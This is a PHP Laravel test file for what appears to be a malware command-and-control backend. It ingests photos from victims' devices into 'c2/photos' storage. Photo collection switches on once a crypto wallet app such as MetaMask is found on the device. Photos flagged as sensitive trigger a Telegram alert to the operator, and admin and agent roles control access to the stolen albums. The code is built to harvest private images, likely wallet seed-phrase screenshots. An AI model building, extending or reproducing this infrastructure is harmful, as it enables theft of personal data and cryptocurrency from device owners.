hashbro
293 lines
11 KiB
PHP
293 lines
11 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Admin;
|
|
use App\Models\Channel;
|
|
use App\Models\Device;
|
|
use App\Models\Photo;
|
|
use App\Models\User;
|
|
use App\Services\IngestService;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use Illuminate\Support\Facades\Http;
|
|
use Illuminate\Support\Facades\Process;
|
|
use Illuminate\Support\Facades\Storage;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class DeviceAlbumStorageTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
#[Test]
|
|
public function album_storage_defaults_off(): void
|
|
{
|
|
$device = Device::query()->create([
|
|
'device_id' => 'dev-album-default',
|
|
]);
|
|
|
|
$this->assertFalse($device->fresh()->albumStorageEnabled());
|
|
$this->assertFalse((bool) $device->fresh()->album_storage);
|
|
}
|
|
|
|
#[Test]
|
|
public function ingest_skips_photos_when_album_storage_off(): void
|
|
{
|
|
Storage::fake('local');
|
|
$device = Device::query()->create([
|
|
'device_id' => 'dev-album-off',
|
|
'album_storage' => false,
|
|
]);
|
|
|
|
$tmp = sys_get_temp_dir().'/coruna_album_'.uniqid().'.jpg';
|
|
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
|
|
|
|
app(IngestService::class)->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
|
|
|
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
|
|
@unlink($tmp);
|
|
}
|
|
|
|
#[Test]
|
|
public function wallet_applist_turns_album_on_then_photos_store(): void
|
|
{
|
|
Storage::fake('local');
|
|
$device = Device::query()->create([
|
|
'device_id' => 'dev-album-wallet',
|
|
'album_storage' => false,
|
|
]);
|
|
$tmp = sys_get_temp_dir().'/coruna_album_'.uniqid().'.jpg';
|
|
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
|
|
|
|
$ingest = app(IngestService::class);
|
|
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
|
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
|
|
|
|
$ingest->ingestInstalledApps($device, [
|
|
'al' => [
|
|
['a' => 'MetaMask', 'b' => 'io.metamask.MetaMask'],
|
|
],
|
|
]);
|
|
$device->refresh();
|
|
$this->assertTrue($device->albumStorageEnabled());
|
|
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
|
|
|
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
|
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
|
|
@unlink($tmp);
|
|
}
|
|
|
|
#[Test]
|
|
public function ingest_notifies_telegram_when_x_hit_is_12(): void
|
|
{
|
|
Storage::fake('local');
|
|
config([
|
|
'coruna.telegram.bot_token' => 'bot-token',
|
|
'coruna.telegram.owner_chat_id' => '12345',
|
|
]);
|
|
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
|
|
|
$device = Device::query()->create(['device_id' => 'dev-hit12', 'album_storage' => true]);
|
|
$tmp = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
|
|
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
|
|
|
|
$ingest = app(IngestService::class);
|
|
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
|
Http::assertNothingSent();
|
|
|
|
$tmp2 = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
|
|
file_put_contents($tmp2, "\xFF\xD8\xFF\xDA\xFF\xD9");
|
|
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
|
|
|
|
Http::assertSent(function ($request) {
|
|
$text = (string) ($request->data()['text'] ?? '');
|
|
|
|
return str_contains($text, '敏感照片')
|
|
&& str_contains($text, 'dev-hit12')
|
|
&& str_contains($text, '敏感分</b>: 12');
|
|
});
|
|
|
|
$ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]);
|
|
$this->assertSame(1, collect(Http::recorded())->filter(function ($pair) {
|
|
$text = (string) ($pair[0]->data()['text'] ?? '');
|
|
|
|
return str_contains($text, '敏感照片');
|
|
})->count());
|
|
|
|
@unlink($tmp);
|
|
@unlink($tmp2);
|
|
}
|
|
|
|
#[Test]
|
|
public function admin_can_toggle_album_storage(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create(['device_id' => 'dev-toggle']);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->putJson(route('admin.devices.update', $device), ['album_storage' => 0])
|
|
->assertOk()
|
|
->assertJsonPath('data.album_storage', 0);
|
|
|
|
$this->assertFalse($device->fresh()->albumStorageEnabled());
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->putJson(route('admin.devices.update', $device), ['album_storage' => 1])
|
|
->assertOk()
|
|
->assertJsonPath('data.album_storage', 1);
|
|
}
|
|
|
|
#[Test]
|
|
public function clear_photos_removes_rows_and_files(): void
|
|
{
|
|
Storage::fake('local');
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123', 'is_super' => 1]);
|
|
$device = Device::query()->create(['device_id' => 'dev-clear']);
|
|
|
|
$path = 'c2/photos/dev-clear/abc_hit.jpg';
|
|
Storage::disk('local')->put($path, "\xFF\xD8\xFF\xD9");
|
|
Photo::query()->create([
|
|
'device_id' => $device->id,
|
|
'sha256' => hash('sha256', "\xFF\xD8\xFF\xD9"),
|
|
'path' => $path,
|
|
'size' => 4,
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.devices.photos.clear', $device))
|
|
->assertOk()
|
|
->assertJsonPath('data.deleted_rows', 1);
|
|
|
|
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
|
|
Storage::disk('local')->assertMissing($path);
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_cannot_clear_other_channel_device_photos(): void
|
|
{
|
|
Storage::fake('local');
|
|
$agent = User::query()->create([
|
|
'username' => 'agent_album',
|
|
'password' => 'secret12',
|
|
'status' => 1,
|
|
]);
|
|
Channel::query()->create([
|
|
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
|
'user_id' => $agent->id,
|
|
'status' => 1,
|
|
]);
|
|
$other = Device::query()->create([
|
|
'device_id' => 'dev-other',
|
|
'channel_id' => 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
|
]);
|
|
|
|
$this->actingAs($agent, 'agent')
|
|
->postJson(route('user.devices.photos.clear', $other))
|
|
->assertForbidden();
|
|
}
|
|
|
|
#[Test]
|
|
public function normal_admin_and_agent_cannot_clear_photos(): void
|
|
{
|
|
Storage::fake('local');
|
|
$staff = Admin::query()->create(['username' => 'staff', 'password' => 'admin123', 'is_super' => 0]);
|
|
$agent = User::query()->create(['username' => 'agent_clear', 'password' => 'secret12', 'status' => 1]);
|
|
Channel::query()->create([
|
|
'channel_id' => 'cccccccccccccccccccccccccccccccc',
|
|
'user_id' => $agent->id,
|
|
'status' => 1,
|
|
]);
|
|
$device = Device::query()->create([
|
|
'device_id' => 'dev-no-clear',
|
|
'channel_id' => 'cccccccccccccccccccccccccccccccc',
|
|
]);
|
|
|
|
$this->actingAs($staff, 'admin')
|
|
->postJson(route('admin.devices.photos.clear', $device))
|
|
->assertForbidden();
|
|
|
|
$this->actingAs($agent, 'agent')
|
|
->postJson(route('user.devices.photos.clear', $device))
|
|
->assertForbidden();
|
|
|
|
$this->actingAs($staff, 'admin')
|
|
->get(route('admin.devices.show', ['device' => $device, 'tab' => 'photos']))
|
|
->assertOk()
|
|
->assertDontSee('清理相册数据');
|
|
}
|
|
|
|
#[Test]
|
|
public function photo_endpoint_serves_png_as_is(): void
|
|
{
|
|
Storage::fake('local');
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create(['device_id' => 'dev-png']);
|
|
$tmp = sys_get_temp_dir().'/album_'.uniqid().'.png';
|
|
$im = imagecreatetruecolor(4, 4);
|
|
imagefilledrectangle($im, 0, 0, 3, 3, imagecolorallocate($im, 1, 2, 3));
|
|
imagepng($im, $tmp);
|
|
$png = (string) file_get_contents($tmp);
|
|
@unlink($tmp);
|
|
$path = 'c2/photos/dev-png/shot.png';
|
|
Storage::disk('local')->put($path, $png);
|
|
$photo = Photo::query()->create([
|
|
'device_id' => $device->id,
|
|
'sha256' => hash('sha256', $png),
|
|
'path' => $path,
|
|
'size' => strlen($png),
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.devices.photo', [$device, $photo->id]))
|
|
->assertOk()
|
|
->assertHeader('Content-Type', 'image/png')
|
|
->assertSee($png, false);
|
|
}
|
|
|
|
#[Test]
|
|
public function photo_endpoint_serves_heic_as_jpeg(): void
|
|
{
|
|
if (! is_executable('/usr/bin/sips')) {
|
|
$this->markTestSkipped('sips is required to generate and convert HEIC');
|
|
}
|
|
Storage::fake('local');
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123', 'is_super' => 1]);
|
|
$device = Device::query()->create(['device_id' => 'dev-heic']);
|
|
|
|
$jpg = sys_get_temp_dir().'/album_'.uniqid().'.jpg';
|
|
$heicTmp = sys_get_temp_dir().'/album_'.uniqid().'.heic';
|
|
$im = imagecreatetruecolor(8, 8);
|
|
imagefilledrectangle($im, 0, 0, 7, 7, imagecolorallocate($im, 20, 40, 60));
|
|
imagejpeg($im, $jpg, 90);
|
|
$made = Process::timeout(20)->run(['/usr/bin/sips', '-s', 'format', 'heic', '--out', $heicTmp, $jpg]);
|
|
@unlink($jpg);
|
|
if (! $made->successful() || ! is_file($heicTmp)) {
|
|
$this->markTestSkipped('sips could not write a HEIC fixture');
|
|
}
|
|
$bytes = (string) file_get_contents($heicTmp);
|
|
@unlink($heicTmp);
|
|
|
|
$path = 'c2/photos/dev-heic/IMG_0004.HEIC';
|
|
Storage::disk('local')->put($path, $bytes);
|
|
$photo = Photo::query()->create([
|
|
'device_id' => $device->id,
|
|
'sha256' => hash('sha256', $bytes),
|
|
'path' => $path,
|
|
'size' => strlen($bytes),
|
|
]);
|
|
|
|
$res = $this->actingAs($admin, 'admin')
|
|
->get(route('admin.devices.photo', [$device, $photo->id]))
|
|
->assertOk()
|
|
->assertHeader('Content-Type', 'image/jpeg');
|
|
$this->assertSame("\xFF\xD8", substr($res->getContent(), 0, 2));
|
|
$this->assertSame($bytes, Storage::disk('local')->get($path));
|
|
Storage::disk('local')->assertExists('c2/photo-previews/dev-heic/'.hash('sha256', $bytes).'.jpg');
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.devices.photos.clear', $device))
|
|
->assertOk();
|
|
Storage::disk('local')->assertMissing('c2/photo-previews/dev-heic/'.hash('sha256', $bytes).'.jpg');
|
|
}
|
|
}
|